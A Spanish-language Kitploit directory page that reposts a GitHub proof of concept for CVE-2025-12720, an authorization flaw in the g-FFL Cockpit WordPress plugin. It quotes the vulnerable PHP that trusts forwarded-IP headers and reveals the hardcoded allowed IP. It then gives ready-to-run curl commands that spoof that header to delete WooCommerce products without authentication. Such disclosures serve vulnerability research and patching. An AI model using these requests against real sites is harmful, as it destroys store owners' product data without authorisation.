Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Autorización incorrecta que permite la eliminación de productos sin autenticación | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-12720
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsAutenticaciónMala Configuración
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Autorización incorrecta que permite la eliminación de productos sin autenticación

Ver Repositorio
6hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

g-FFL Cockpit <= 1.7.1 - Eliminación Arbitraria de Productos sin Autenticación

El plugin g-FFL Cockpit no implementa comprobaciones de autorización adecuadas en los endpoints REST API queue y process, lo que permite a usuarios no autenticados eliminar productos arbitrarios de WooCommerce falsificando las cabeceras HTTP para eludir la autenticación basada en IP.

Resumen de Exploits

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Detalles

Los endpoints REST API y utilizan autenticación basada en IP que puede eludirse falsificando las cabeceras HTTP o . El mecanismo de autenticación depende de , que confía en cabeceras controlables por el usuario, y realiza la comprobación contra una dirección IP fija almacenada en el código fuente del plugin.

queue
process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

Ubicado en class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

La función fflcockpit_is_allowed() utiliza una dirección IP fija (base64: My4yMTIuMTg1LjE4Nw==, decodificada: 3.212.185.187) que es visible en el código fuente del plugin.

Fragmento vulnerable de class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

La función process_product() dirige las operaciones de eliminación a sql_delete_product(), que realiza el borrado SQL directo de los productos de WooCommerce.

Implementación de eliminación vulnerable de class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Reproducción Manual

Nota: g-FFL Cockpit requiere WooCommerce

  1. Acceda al sitio WordPress de destino con el plugin g-FFL Cockpit instalado.

  2. Extraiga la dirección IP fija del código fuente del plugin. La IP está codificada en base64 como My4yMTIuMTg1LjE4Nw== en class-sync-endpoint.php, que se decodifica como 3.212.185.187.

  3. Ejecute los siguientes comandos curl para poner en cola y procesar la eliminación del producto:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Procese la eliminación en cola para ejecutar realmente la eliminación del producto:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Recibirá una confirmación de que la eliminación se completó:
root@kitploit:~
{
  "status": "completed"
}

El producto se elimina permanentemente de la base de datos de WooCommerce, incluidos todos los metadatos asociados, las relaciones de términos y las imágenes.

Descargar herramienta